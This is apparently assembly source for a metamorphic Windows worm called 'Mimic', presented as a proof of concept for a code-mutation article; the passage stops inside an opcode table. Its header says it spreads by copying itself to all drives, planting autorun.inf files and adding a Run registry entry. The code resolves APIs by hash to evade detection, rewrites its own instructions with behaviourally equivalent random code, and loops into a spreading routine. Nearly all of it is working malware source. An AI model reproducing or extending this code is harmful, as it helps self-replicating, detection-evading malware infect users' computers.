;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; Mimic ;; by Dr. Theodore Spankman ;; December 2010 ;; ;; ;; This is a proof-of-concept worm for the technique descriped in an ;; article "Code Mutations via Behaviour Analysis". ;; ;; The main idea: The worm analyses the behaviour of its own code, then ;; creates random code and analyses that behaviour, too. If the behaviour ;; is the same, the original code will be substituated by the new ranom code. ;; It can analyse register operations, memory operations and stack operations. ;; For more information, see the article! ;; ;; The worm spreads via copying itself to all fixed and removeable drives, ;; creating an autostart file at removeable drives, and writing a registry ;; entry to start at every windows startup. ;; ;; The worm uses a simple 16bit hash-algorithm to find the APIs in the DLLs, ;; so no need to use hardcoded API names. ;; ;; ;; ;; ;; This is version 0.01, it is probably quite buggy - even I tried my best to ;; prevent that (within the given amount of time) - so dont blame me! ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include '..\FASM\INCLUDE\win32ax.inc' macro cc restr*, instr*, op1, op2 { ; Macro for padding commands to 8byte each and for ; adding the restrictions to the GlobalBehaviourTableList local StartCommand, EndCommand StartCommand: if op2 eq if op1 eq instr else instr op1 end if else instr op1,op2 end if EndCommand: times (8-EndCommand+StartCommand): nop ; padding match any, GlobalBehaviourTableList ; Add further elements to list \{ GlobalBehaviourTableList equ GlobalBehaviourTableList,restr \} match , GlobalBehaviourTableList ; Add first element to list \{ GlobalBehaviourTableList equ restr \} } macro VEH_TRY c* { cc rNoEmul, call, MirrorTheStack cc rPSI, mov, dword[sESP], esp cc rNoRes, push, VEH_Handler#c cc rNoRes, push, 0x1 cc rNoEmul, stdcall, dword[AddVectoredExceptionHandler] cc rNoRes, mov, dword[hVEH], eax } macro VEH_EXCEPTION c* { cc rNoEmul, call, RestoreTheStack cc rA, xor, eax, eax cc rNoRes, mov, dword[bException#c], eax cc rNoEmul, jmp, VEH_NoException#c VEH_Handler#c: cc rA, mov, eax, dword[hDataMirror] cc rAB, mov, ebx, dword[hDataMirror1] cc rF, cmp, eax, ebx cc rNoEmul, je, VEH_HandlerDataMirrorOK#c cc rC, mov, ecx, dword[hDataMirror2] cc rNoRes, mov, dword[hDataMirror], ecx VEH_HandlerDataMirrorOK#c: cc rNoEmul, call, RestoreTheMemory cc rNoEmul, mov, esp, dword[sESP] cc rABCDPSI, mov, eax, 1 cc rABCDPSI, mov, dword[bException#c], eax cc rNoEmul, call, RestoreTheStack } macro VEH_END c* { VEH_NoException#c: cc rA, mov, eax, dword[hVEH] cc rNoRes, push, eax cc rNoEmul, stdcall, dword[RemoveVectoredExceptionHandler] } .data DataStart: CodeStartInFile EQU 0x600 GlobalBehaviourTableList equ ; eax=A ebp=P ; ebx=B esi=S ; ecx=C edi=I ; edx=D FLAGS=F rNoRes EQU 00000000b rA EQU 00000001b rB EQU 00000010b rAB EQU 00000011b rC EQU 00000100b rAC EQU 00000101b rBC EQU 00000110b rABC EQU 00000111b rD EQU 00001000b rAD EQU 00001001b rABD EQU 00001011b rCD EQU 00001100b rACD EQU 00001101b rBCD EQU 00001110b rABCD EQU 00001111b rP EQU 00010000b rAP EQU 00010001b rBP EQU 00010010b rCP EQU 00010100b rDP EQU 00011000b rCDP EQU 00011100b rACP EQU 00010101b rBCP EQU 00010110b rADP EQU 00011001b rBDP EQU 00011010b rBCDP EQU 00011110b rABCDP EQU 00011111b rS EQU 00100000b rAS EQU 00100001b rBS EQU 00100010b rABS EQU 00100011b rCS EQU 00100100b rACS EQU 00100101b rBCS EQU 00100110b rABCS EQU 00100111b rDS EQU 00101000b rADS EQU 00101001b rCDS EQU 00101100b rACDS EQU 00101101b rABCDS EQU 00101111b rPS EQU 00110000b rBPS EQU 00110010b rCPS EQU 00110100b rACPS EQU 00110101b rBCPS EQU 00110110b rDPS EQU 00111000b rABCDPS EQU 00111111b rI EQU 01000000b rAI EQU 01000001b rCI EQU 01000100b rACI EQU 01000101b rSI EQU 01100000b rASI EQU 01100001b rABSI EQU 01100011b rCSI EQU 01100100b rACSI EQU 01100101b rDSI EQU 01101000b rADSI EQU 01101001b rCDSI EQU 01101100b rACDSI EQU 01101101b rABCDSI EQU 01101111b rPSI EQU 01110000b rAPSI EQU 01110001b rBPSI EQU 01110010b rABPSI EQU 01110011b rACPSI EQU 01110101b rABCPSI EQU 01110111b rDPSI EQU 01111000b rADPSI EQU 01111001b rBDPSI EQU 01111010b rCDPSI EQU 01111100b rACDPSI EQU 01111101b rBCDPSI EQU 01111110b rABCDPSI EQU 01111111b rF EQU 10000000b rAF EQU 10000001b rBF EQU 10000010b rABF EQU 10000011b rCF EQU 10000100b rACF EQU 10000101b rABCF EQU 10000111b rDF EQU 10001000b rADF EQU 10001001b rBDF EQU 10001010b rABDF EQU 10001011b rPF EQU 10010000b rAPF EQU 10010001b rBPF EQU 10010010b rACPF EQU 10010101b rBCPF EQU 10010110b rDPF EQU 10011000b rBDPF EQU 10011010b rCDPF EQU 10011100b rSF EQU 10100000b rACSF EQU 10100101b rCDSF EQU 10101100b rACDSF EQU 10101101b rABCDSF EQU 10101111b rDPSF EQU 10111000b rCIF EQU 11000100b rCSIF EQU 11100100b rCDSIF EQU 11101100b rACDSIF EQU 11101101b rACPSIF EQU 11110101b rADPSIF EQU 11111001b rBDPSIF EQU 11111010b rCDPSIF EQU 11111100b rBCDPSIF EQU 11111110b rABCDPSIF EQU 11111111b rNoEmul EQU 10110101b stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0 hKey dd 0x0 hVEH dd 0x0 RandomNumber dd 0x0 tmpAddress dd 0x0 tmpRetVal dd 0x0 hTempAlloc2 dd 0x0 hDataMirror dd 0x0 hCreateFileAR dd 0x0 hCreateFileMappingAR dd 0x0 hExecutionMirror dd 0x0 hLBTFileCode dd 0x0 tmpMemProtection dd 0x0 hStackMirror dd 0x0 hStackSize dd 0x0 tmpAddress1 dd 0x0 hStackStart dd 0x0 tmpGBT db 0x0 hMyFileName dd 0x0 SpaceForHDC: dd 0x0 ; should be 0x0, C:\ RandomFileName: times 13 db 0x0 SpaceForHDC2: dd 0x0 ; should be 0x0, X:\ RandomFileName2:times 13 db 0x0 WormCodeStart dd 0x0 RndNumCycle dd 0x0 hDataMirror1 dd 0x0 hCreateFileRndFile dd 0x0 dFileSize dd 0x0 hCreateMapRndFile dd 0x0 tmpAddress2 dd 0x0 hMapViewRndFile dd 0x0 hTempAlloc1 dd 0x0 stAutoRunContent: times 52 db 0x0 bExceptionFC1 db 0x0 bExceptionRC1 db 0x0 bExceptionFC2 db 0x0 bExceptionRC2 db 0x0 bExceptionFC2SIM db 0x0 bExceptionRC2SIM db 0x0 BBExceptionCount db 0x0 hRandomizedData dd 0x0 _VirtualProtect1 dd 0x0 stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\" stAutoruninf: times 12 db 0x0 ; "autorun.inf" hRandomizedData1 dd 0x0 tmpDWA dd 0x0 tmpDWB dd 0x0 tmpDWC dd 0x0 CGPushPop db 0x0 tmpReg4Mirror: tmpDW1 dd 0x0 tmpDW2 dd 0x0 tmpDW3 dd 0x0 tmpDW4 dd 0x0 tmpDW5 dd 0x0 tmpDW6 dd 0x0 tmpDW7 dd 0x0 tmpDW8 dd 0x0 sESP dd 0x0 rEAX dd 0x0 rECX dd 0x0 rEDX dd 0x0 rEBX dd 0x0 rEBP dd 0x0 rESI dd 0x0 rEDI dd 0x0 dd 0x0, 0x0, 0x0, 0x0 hDataMirror2 dd 0x0 hPrepareRegistersAndTable dd 0x0 hMirrorTheMemory dd 0x0 _VirtualAlloc1 dd 0x0 _DLLkernel32: times 13 db 0x0 hDLLkernel32 dd 0x0 _DLLadvapi32: times 13 db 0x0 hDLLadvapi32 dd 0x0 hKernelPE dd 0x0 hAddressTable dd 0x0 hNamePointerTable dd 0x0 hOrdinalTable dd 0x0 APINumbersKernel EQU (APIMagicNumbersKernel32End-APIMagicNumbersKernel32)/4 APIMagicNumbersKernel32: ; hashAddVectoredExceptionHandler dd 0x85D3 ; The VEH APIs are directly redirected to ntdll, so the entry in the AddressTable is not valid ; this counts for XP, Vista and probably Vista+, too hashCloseHandle dd 0xA2C8 hashCopyFileA dd 0x8ADF hashCreateFileA dd 0x89DE hashCreateFileMappingA dd 0xD198 hashGetCommandLineA dd 0x8287 hashGetDriveTypeA dd 0x6586 hashGetFileSize dd 0x87DF hashGetTickCount dd 0xEBAE hashMapViewOfFile dd 0xA6D0 ; hashRemoveVectoredExceptionHandler dd 0xB98C hashSetErrorMode dd 0xCF8D hashSleep dd 0x6EAA hashUnmapViewOfFile dd 0xA5F9 hashVirtualAlloc dd 0xC563 hashVirtualFree dd 0x88F0 hashVirtualProtect dd 0xAE67 APIMagicNumbersKernel32End: APIAddressesKernel: ; _AddVectoredExceptionHandler dd 0x0 _CloseHandle dd 0x0 _CopyFileA dd 0x0 _CreateFileA dd 0x0 _CreateFileMappingA dd 0x0 _GetCommandLineA dd 0x0 _GetDriveTypeA dd 0x0 _GetFileSize dd 0x0 _GetTickCount dd 0x0 _MapViewOfFile dd 0x0 ; _RemoveVectoredExceptionHandler dd 0x0 _SetErrorMode dd 0x0 _Sleep dd 0x0 _UnmapViewOfFile dd 0x0 _VirtualAlloc dd 0x0 _VirtualFree dd 0x0 _VirtualProtect dd 0x0 APINumbersAdvapi EQU (APIMagicNumbersAdvapi32End-APIMagicNumbersAdvapi32)/4 APIMagicNumbersAdvapi32: hashRegCloseKey dd 0x84C2 hashRegCreateKeyExA dd 0xAC9F hashRegSetValueExA dd 0xC655 APIMagicNumbersAdvapi32End: APIAddressesAdvapi: _RegCloseKey dd 0x0 _RegCreateKeyExA dd 0x0 _RegSetValueExA dd 0x0 APICurrentMagicNum dd 0x0 APICurrentNumber dd 0x0 APICurrentAddress dd 0x0 ; ########################################################################### ; ########################################################################### ; ##### ; ##### Local BehaviourTable ; ##### LocalBehaviourTable: CommandNumber EQU (EndPaddedCommands-StartPaddedCommands)/8 BehaviourTableSize EQU 18*4 ; Has to be a mulitple of 4! ; Each behaviour Block consists of: ; Registers: 9*4=36 byte ; 0x00 dd EAX ; 0x04 dd EBX ; 0x08 dd ECX ; 0x0C dd EDX ; 0x10 dd EBP ; 0x14 dd ESI ; 0x18 dd EDI ; 0x1C dd FLAGS ; 0x20 dd ESP ; Memory: 2*4*4=8*4=32 byte: ; 0x24 dd MemOffset1 ; 0x28 dword[MemOffset1] ; 0x2C dd MemOffset2 ; 0x30 dword[MemOffset2] ; 0x34 dd MemOffset3 ; 0x38 dword[MemOffset3] ; 0x3C dd MemOffset4 ; 0x40 dword[MemOffset4] ; Stack: 1*4=4 byte ; (could be extented, but i like it that way more :) ) ; 0x44 STACK change (if push is used) TempBehaviourTable: times BehaviourTableSize db 0x0 BBTableFileCode: times BehaviourTableSize db 0x0 BBTableRandomCode: times BehaviourTableSize db 0x0 ; ##### ; ##### Local BehaviourTable ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Buffers for execution ; ##### RandomCodeBufferSize EQU 0x08 ; At some parts, the code relies on ; that value, so check that when you ; change it. CodeExecDifference EQU (RandomCodeExecutionWithoutPRAT-RandomCodeExecution) CodeExecSize EQU (RandomCodeExectionEnd-RandomCodeExecution) RandomCodeExecution: call dword[hPrepareRegistersAndTable] RandomCodeExecutionWithoutPRAT: call dword[hMirrorTheMemory] RandomCode: ; add al, 1 ; mov byte[tmpDWA], 33 times RandomCodeBufferSize db 0x90 RC_End: times (8-RC_End+RandomCode): nop ; padding RC_Padding: times 8 db 0x90 ; If error occure and malicous code is generated ; As buffer that this malicous code does not "overwrite" the opcodes of the next "call" call dword[hAnalyseBehaviourOfCode] ret RandomCodeExectionEnd: FileCodeExection: call dword[hPrepareRegistersAndTable] FileCodeExecutionWithoutPRAT: call dword[hMirrorTheMemory] BufferForCode: times RandomCodeBufferSize db 0x90 FC_Padding: times 8 db 0x90 ; If error occure and malicous code is generated ; As buffer that this malicous code does not "overwrite" the opcodes of the next "call" call dword[hAnalyseBehaviourOfCode] ret FileCodeExectionEnd: ; ##### ; ##### Buffers for execution ; ##### ; ########################################################################### ; ########################################################################### DataEnd: times 8 db 0x0 .code CodeStart: ; Temp Code StartPaddedCommands: cc rNoEmul, call, GetAllAPIAddresses ; Will receive the addresses of all ; required APIs from kernel32.dll and advapi32.dll ; using a 16bit hash for each API name. The hash ; will be calculated with a simple XOR/SUB/ADD algorithm cc rNoEmul, stdcall, dword[_GetTickCount] cc rNoRes, mov, dword[RandomNumber], eax cc rNoRes, push, 0x8007 cc rNoEmul, stdcall, dword[_SetErrorMode] cc rNoEmul, stdcall, dword[_GetCommandLineA] cc rNoRes, mov, dword[hMyFileName], eax cc rF, cmp, byte[eax], '"' cc rNoEmul, jne, FileNameIsFine cc rA, inc, eax cc rA, mov, dword[hMyFileName], eax FindFileNameLoop: cc rA, inc, eax cc rAF, cmp, byte[eax], '"' cc rNoEmul, jne, FindFileNameLoop cc rNoRes, mov, byte[eax], 0x0 FileNameIsFine: cc rNoEmul, call, CopyFileAndRegEntry cc rNoRes, push, PAGE_READONLY cc rNoRes, push, MEM_COMMIT cc rNoRes, push, (DataEnd-DataStart) cc rNoRes, push, 0x0 ; lpAddress - optional cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For mirroring the Memory cc rA, mov, dword[hDataMirror], eax cc rA, mov, dword[hDataMirror1], eax ; This may be destroyed by a random cc rNoRes, mov, dword[hDataMirror2], eax ; code. Saving it three times gives ; the possibility to find the true one ; anyway. cc rA, mov, eax, dword[fs:0x4] ; TIB: Top of stack cc rAB, mov, ebx, dword[fs:0x8] ; TIB: Current bottom of stack cc rAB, mov, dword[hStackStart], ebx cc rA, sub, eax, ebx ; eax=Size of current stack cc rA, mov, dword[hStackSize], eax ; Save size of stack cc rNoRes, push, PAGE_READONLY cc rNoRes, push, MEM_COMMIT cc rNoRes, push, eax cc rNoRes, push, 0x0 ; lpAddress - optional cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For mirroring the Stack cc rNoRes, mov, dword[hStackMirror], eax cc rNoRes, push, PAGE_READONLY cc rNoRes, push, MEM_COMMIT cc rNoRes, push, (DataEnd-DataStart) cc rNoRes, push, 0x0 cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For generating a randomized memory cc rA, mov, dword[hRandomizedData], eax cc rA, mov, dword[hRandomizedData1], eax cc rNoEmul, call, CreateRandomizedData cc rNoRes, push, PAGE_EXECUTE_READ cc rNoRes, push, MEM_COMMIT cc rNoRes, push, CodeExecSize cc rNoRes, push, 0x0 cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For execution of code - to prevent self-destruction :D cc rNoRes, mov, dword[hExecutionMirror], eax cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, MEM_COMMIT cc rNoRes, push, 2*4*4 ; Memory BT: 4 times: 2*dd = 32byte cc rNoRes, push, 0x0 cc rNoEmul, stdcall, dword[_VirtualAlloc] cc rA, mov, dword[hTempAlloc1], eax cc rNoRes, mov, dword[hTempAlloc2], eax ; eax=Temp.VirtualAlloc cc rA, mov, eax, PrepareRegistersAndTable cc rNoRes, mov, dword[hPrepareRegistersAndTable], eax cc rA, mov, eax, MirrorTheMemory cc rNoRes, mov, dword[hMirrorTheMemory], eax cc rNoEmul, call, CreateRandomRegisters cc rNoEmul, call, MakeBehaviourTableOfOwnCode ; ########################################################################### ; ########################################################################### ; ##### ; ##### Random Code Execution Loop ; ##### cc rD, xor, edx, edx LoopRnd: cc rCD, xor, ecx, ecx LLR: cc rNoEmul, pushad cc rNoEmul, call, CreateRandomCode ; ##################################################################### ; ######## ; # TRY ; # { ; # VEH_TRY RC1 cc rA, mov, eax, TempBehaviourTable cc rA, mov, dword[tmpAddress], eax cc rA, mov, dword[tmpAddress1], eax cc rNoRes, mov, dword[tmpAddress2], eax cc rA, xor, eax, eax cc rAB, mov, ebx, RandomCodeExecution cc rNoEmul, call, GenerateExecuteableCodeInMemory ; Call the Function in data section ; Can not be written in .code as it's write-protected ; which is important for the random-code executions ; (to not destroy entire code). cc rNoEmul, call, dword[hExecutionMirror] ; Can not execute it in .data section as it's not ; write protected, and the random code can (and will) ; overwrite itself (self-destruction). Solution: ; Virtual Allocated Memory with variable Protection ; # ; # } ; # CATCH ; # { ; # VEH_EXCEPTION RC1 VEH_END RC1 ; # ; # } ; ######## ; ##################################################################### cc rNoEmul, call, CompareCodeBTwithRandomBT cc rNoEmul, popad cc rC, inc, ecx cc rCF, cmp, ecx, 0x5 cc rNoEmul, jb, LLR cc rNoEmul, pushad cc rNoRes, push, 10 cc rNoEmul, stdcall, dword[_Sleep] cc rNoEmul, popad cc rD, inc, edx cc rDF, cmp, edx, 50 cc rNoEmul, jb, LoopRnd cc rNoEmul, call, SpreadThisKitty cc rD, xor, edx, edx cc rNoEmul, jmp, LoopRnd ; ##### ; ##### Random Code Execution Loop ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Generate Random Code in allocated Memory for Execution ; ##### GenerateExecuteableCodeInMemory: ; In: eax=0 ... Write from RandomCodeExecution1-RandomCodeExecution1End ; else: eax=(RandomCodeExecutionWithoutPRAT-RandomCodeExecution1) ; ebx: Source (RandomCodeExecution or FileCodeExection) ; This function is used to generate the random code in memory, because .data section ; is READ/WRITE/EXECUTE, hence the random code can (and will) overwrite itself. ; Solution: It will be executed in a READ/EXECUTE memory. cc rB, push, eax cc rNoRes, push, ebx cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_READWRITE cc rNoRes, push, CodeExecSize cc rNoRes, push, dword[hExecutionMirror] cc rNoEmul, stdcall, dword[_VirtualProtect] cc rB, pop, ebx cc rAB, pop, eax cc rABC, xor, ecx, ecx cc rACS, mov, esi, ebx cc rCS, add, esi, eax cc rCSI, mov, edi, dword[hExecutionMirror] GenerateExecuteableCodeInMemoryMore: cc rACSI, mov, eax, dword[esi] cc rCSI, mov, dword[edi], eax cc rCSI, add, esi, 0x4 cc rCSI, add, edi, 0x4 cc rCSI, add, ecx, 0x4 cc rCSIF, cmp, ecx, CodeExecSize cc rNoEmul, jb, GenerateExecuteableCodeInMemoryMore cc rNoRes, push, tmpMemProtection cc rNoRes, push, PAGE_EXECUTE_READ cc rNoRes, push, CodeExecSize cc rNoRes, push, dword[hExecutionMirror] cc rNoEmul, stdcall, dword[_VirtualProtect] cc rNoEmul, ret ; ##### ; ##### Generate Random Code in allocated Memory for Execution ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Linear Congruent Generator (Random Number Generator) ; ##### GetRandomNumber: cc rNoEmul, pushad cc rD, xor, edx, edx cc rAD, mov, eax, dword[RandomNumber] cc rABD, mov, ebx, 1103515245 cc rA, mul, ebx ; EDX:EAX = EDX:EAX * EBX cc rA, add, eax, 12345 cc rNoRes, mov, dword[RandomNumber], eax cc rNoEmul, popad cc rNoEmul, ret GetGoodRandomNumber: cc rNoEmul, pushad cc rC, mov, ecx, dword[RandomNumber] cc rC, shr, ecx, 11 cc rC, and, ecx, 0xF cc rC, inc, ecx GetGoodRandomNumberMore: ; The linear congruent generator has some serios problems when ; one needs "good" random numbers. There were patterns in the ; numbers that leaded to wrong results cc rNoEmul, call, GetRandomNumber cc rCF, dec, ecx cc rNoEmul, jnz, GetGoodRandomNumberMore cc rNoEmul, popad cc rNoEmul, ret CreateSpecialRndNumber: ; in: ebx, ecx ; out: edx=(rand()%ebx + ecx) cc rNoEmul, call, GetRandomNumber cc rBCD, xor, edx, edx cc rABCD, mov, eax, dword[RandomNumber] cc rCD, div, ebx cc rD, add, edx, ecx cc rNoEmul, ret BBSimSpecialRndNum: cc rC, xor, ecx, ecx cc rBC, mov, ebx, 50 cc rNoEmul, call, CreateSpecialRndNumber cc rD, sub, dl, 25 cc rAD, mov, eax, edx cc rNoEmul, ret ; ##### ; ##### Linear Congruent Generator (Random Number Generator) ; ##### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ########################################################################### ; ##### ; ##### Random Code Generator ; ##### CreateRandomCode: ; 0x00 ... add Mem8, Reg8 0x00 (0x00-0xBF) OPMem8Reg8 ; 0x00 ... add Reg8, Reg8 0x00 (0xC0-0xFF) OPReg8Reg8 ; 0x01 ... add Mem32, Reg32 0x01 (0x00-0xBF) OPMem32Reg32 ; 0x01 ... add Reg32, Reg32 0x01 (0xC0-0xFF) OPReg32Reg32 ; 0x02 ... add Reg8, Mem8 0x02 (0x00-0xBF) OPMem8Reg8 ; 0x02 ... add Reg8, Reg8 0x02 (0xC0-0xFF) OPReg8Reg8 ; 0x03 ... add Reg32, Mem32 0x03 (0x00-0xBF) OPMem32Reg32 ; 0x03 ... add Reg32, Reg32 0x03 (0xC0-0xFF) OPReg32Reg32 ; 0x04 ... add al, Imm8 0x04 (0x00-0xFF) OPAlImm8 ; 0x05 ... add eax, Imm32 0x05 (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x06, 0x07 - push ES | pop ES ; 0x08 ... or Mem8, Reg8 0x08 (0x00-0xBF) OPMem8Reg8 ; 0x08 ... or Reg8, Reg8 0x08 (0xC0-0xFF) OPReg8Reg8 ; 0x09 ... or Mem32, Reg32 0x09 (0x00-0xBF) OPMem32Reg32 ; 0x09 ... or Reg32, Reg32 0x09 (0xC0-0xFF) OPReg32Reg32 ; 0x0A ... or Reg8, Mem8 0x0A (0x00-0xBF) OPMem8Reg8 ; 0x0A ... or Reg8, Reg8 0x0A (0xC0-0xFF) OPReg8Reg8 ; 0x0B ... or Reg32, Mem32 0x0B (0x00-0xBF) OPMem32Reg32 ; 0x0B ... or Reg32, Reg32 0x0B (0xC0-0xFF) OPReg32Reg32 ; 0x0C ... or al, Imm8 0x0C (0x00-0xFF) OPAlImm8 ; 0x0D ... or eax, Imm32 0x0D (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x0E, 0x0F - push CS | pop CS ; 0x10 ... adc Mem8, Reg8 0x10 (0x00-0xBF) OPMem8Reg8 ; 0x10 ... adc Reg8, Reg8 0x10 (0xC0-0xFF) OPReg8Reg8 ; 0x11 ... adc Mem32, Reg32 0x11 (0x00-0xBF) OPMem32Reg32 ; 0x11 ... adc Reg32, Reg32 0x11 (0xC0-0xFF) OPReg32Reg32 ; 0x12 ... adc Reg8, Mem8 0x12 (0x00-0xBF) OPMem8Reg8 ; 0x12 ... adc Reg8, Reg8 0x12 (0xC0-0xFF) OPReg8Reg8 ; 0x13 ... adc Reg32, Mem32 0x13 (0x00-0xBF) OPMem32Reg32 ; 0x13 ... adc Reg32, Reg32 0x13 (0xC0-0xFF) OPReg32Reg32 ; 0x14 ... adc al, Imm8 0x14 (0x00-0xFF) OPAlImm8 ; 0x15 ... adc eax, Imm32 0x15 (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x16, 0x17 - push SS | pop SS ; 0x18 ... sbb Mem8, Reg8 0x18 (0x00-0xBF) OPMem8Reg8 ; 0x18 ... sbb Reg8, Reg8 0x18 (0xC0-0xFF) OPReg8Reg8 ; 0x19 ... sbb Mem32, Reg32 0x19 (0x00-0xBF) OPMem32Reg32 ; 0x19 ... sbb Reg32, Reg32 0x19 (0xC0-0xFF) OPReg32Reg32 ; 0x1A ... sbb Reg8, Mem8 0x1A (0x00-0xBF) OPMem8Reg8 ; 0x1A ... sbb Reg8, Reg8 0x1A (0xC0-0xFF) OPReg8Reg8 ; 0x1B ... sbb Reg32, Mem32 0x1B (0x00-0xBF) OPMem32Reg32 ; 0x1B ... sbb Reg32, Reg32 0x1B (0xC0-0xFF) OPReg32Reg32 ; 0x1C ... sbb al, Imm8 0x1C (0x00-0xFF) OPAlImm8 ; 0x1D ... sbb eax, Imm32 0x1D (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x16, 0x17 - push DS | pop DS ; 0x20 ... and Mem8, Reg8 0x20 (0x00-0xBF) OPMem8Reg8 ; 0x20 ... and Reg8, Reg8 0x20 (0xC0-0xFF) OPReg8Reg8 ; 0x21 ... and Mem32, Reg32 0x21 (0x00-0xBF) OPMem32Reg32 ; 0x21 ... and Reg32, Reg32 0x21 (0xC0-0xFF) OPReg32Reg32 ; 0x22 ... and Reg8, Mem8 0x22 (0x00-0xBF) OPMem8Reg8 ; 0x22 ... and Reg8, Reg8 0x22 (0xC0-0xFF) OPReg8Reg8 ; 0x23 ... and Reg32, Mem32 0x23 (0x00-0xBF) OPMem32Reg32 ; 0x23 ... and Reg32, Reg32 0x23 (0xC0-0xFF) OPReg32Reg32 ; 0x24 ... and al, Imm8 0x24 (0x00-0xFF) OPAlImm8 ; 0x25 ... and eax, Imm32 0x25 (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x26 (Superfluous) prefix ; 0x27 ... daa 0x27 SingleByteCommand ; 0x28 ... sub Mem8, Reg8 0x28 (0x00-0xBF) OPMem8Reg8 ; 0x28 ... sub Reg8, Reg8 0x28 (0xC0-0xFF) OPReg8Reg8 ; 0x29 ... sub Mem32, Reg32 0x29 (0x00-0xBF) OPMem32Reg32 ; 0x29 ... sub Reg32, Reg32 0x29 (0xC0-0xFF) OPReg32Reg32 ; 0x2A ... sub Reg8, Mem8 0x2A (0x00-0xBF) OPMem8Reg8 ; 0x2A ... sub Reg8, Reg8 0x2A (0xC0-0xFF) OPReg8Reg8 ; 0x2B ... sub Reg32, Mem32 0x2B (0x00-0xBF) OPMem32Reg32 ; 0x2B ... sub Reg32, Reg32 0x2B (0xC0-0xFF) OPReg32Reg32 ; 0x2C ... sub al, Imm8 0x2C (0x00-0xFF) OPAlImm8 ; 0x2D ... sub eax, Imm32 0x2D (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x2E (Superfluous) prefix ; 0x2F ... das 0x2F SingleByteCommand ; 0x30 ... xor Mem8, Reg8 0x30 (0x00-0xBF) OPMem8Reg8 ; 0x30 ... xor Reg8, Reg8 0x30 (0xC0-0xFF) OPReg8Reg8 ; 0x31 ... xor Mem32, Reg32 0x31 (0x00-0xBF) OPMem32Reg32 ; 0x31 ... xor Reg32, Reg32 0x31 (0xC0-0xFF) OPReg32Reg32 ; 0x32 ... xor Reg8, Mem8 0x32 (0x00-0xBF) OPMem8Reg8 ; 0x32 ... xor Reg8, Reg8 0x32 (0xC0-0xFF) OPReg8Reg8 ; 0x33 ... xor Reg32, Mem32 0x33 (0x00-0xBF) OPMem32Reg32 ; 0x33 ... xor Reg32, Reg32 0x33 (0xC0-0xFF) OPReg32Reg32 ; 0x34 ... xor al, Imm8 0x34 (0x00-0xFF) OPAlImm8 ; 0x35 ... xor eax, Imm32 0x35 (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x36 (Superfluous) prefix ; 0x37 ... aaa 0x37 SingleByteCommand ; 0x38 ... cmp Mem8, Reg8 0x38 (0x00-0xBF) OPMem8Reg8 ; 0x38 ... cmp Reg8, Reg8 0x38 (0xC0-0xFF) OPReg8Reg8 ; 0x39 ... cmp Mem32, Reg32 0x39 (0x00-0xBF) OPMem32Reg32 ; 0x39 ... cmp Reg32, Reg32 0x39 (0xC0-0xFF) OPReg32Reg32 ; 0x3A ... cmp Reg8, Mem8 0x3A (0x00-0xBF) OPMem8Reg8 ; 0x3A ... cmp Reg8, Reg8 0x3A (0xC0-0xFF) OPReg8Reg8 ; 0x3B ... cmp Reg32, Mem32 0x3B (0x00-0xBF) OPMem32Reg32 ; 0x3B ... cmp Reg32, Reg32 0x3B (0xC0-0xFF) OPReg32Reg32 ; 0x3C ... cmp al, Imm8 0x3C (0x00-0xFF) OPAlImm8 ; 0x3D ... cmp eax, Imm32 0x3D (0x00-0xFF) OPEaxImm32 ; NOT USED: 0x3E (Superfluous) prefix ; 0x3F ... aas 0x3F SingleByteCommand ; 0x40 - 0x4F ... inc|dec Reg32 IncDecReg32 ; 0x50 - 0x5F ... push|pop Reg32 PushPopReg32 ; NOT USED: 0x60 - 0x67: pushad,popad,bound,arpl + prefixes ; 0x68 ... push Imm32 0x68 (0x00-0xFF) PushImm321 ; NOT USED: 0x69: imul [maybe in next versions] ; 0x6A ... push Imm32 0x68 (0x00-0xFF) PushImm322 ; NOT USED: 0x6B-0x6F: imul [maybe in next versions], inx, outx ; NOT USED: 0x70-0x7F: jxx ; 0x80 ... add|or|adc|sbb|and|sub|xor|cmp Reg8, Imm8 0x80 (0xC0-0xFF) VariousReg8Imm8 ; 0x81 ... add|or|adc|sbb|and|sub|xor|cmp Reg32, Imm32 0x81 (0xC0-0xFF) VariousReg32Imm32 ; 0x82 ... add|or|adc|sbb|and|sub|xor|cmp Reg8, Imm8 0x82 (0xC0-0xFF) VariousReg8Imm8 ; 0x83 ... add|or|adc|sbb|and|sub|xor|cmp Reg32, Imm32 0x83 (0xC0-0xFF) VariousReg32Imm32 ; NOT USED: 0x84,0x85: test [maybe in next versions] ; 0x86 ... xchg Mem8, Reg8: 0x86 (0x00-0xBF) OPMem8Reg8 ; 0x86 ... xchg Reg8, Reg8: 0x86 (0xC0-0xFF) OPReg8Reg8 ; 0x87 ... xchg Mem32, Reg32: 0x87 (0x00-0xBF) OPMem32Reg32 ; 0x87 ... xchg Reg32, Reg32: 0x87 (0xC0-0xFF) OPReg32Reg32 ; 0x88 ... mov Mem8, Reg8: 0x88 (0x00-0xBF) OPMem8Reg8 ; 0x88 ... mov Reg8, Reg8: 0x88 (0xC0-0xFF) OPReg8Reg8 ; 0x89 ... mov Mem32, Reg32: 0x89 (0x00-0xBF) OPMem32Reg32 ; 0x89 ... mov Reg32, Reg32: 0x89 (0xC0-0xFF) OPReg32Reg32 ; 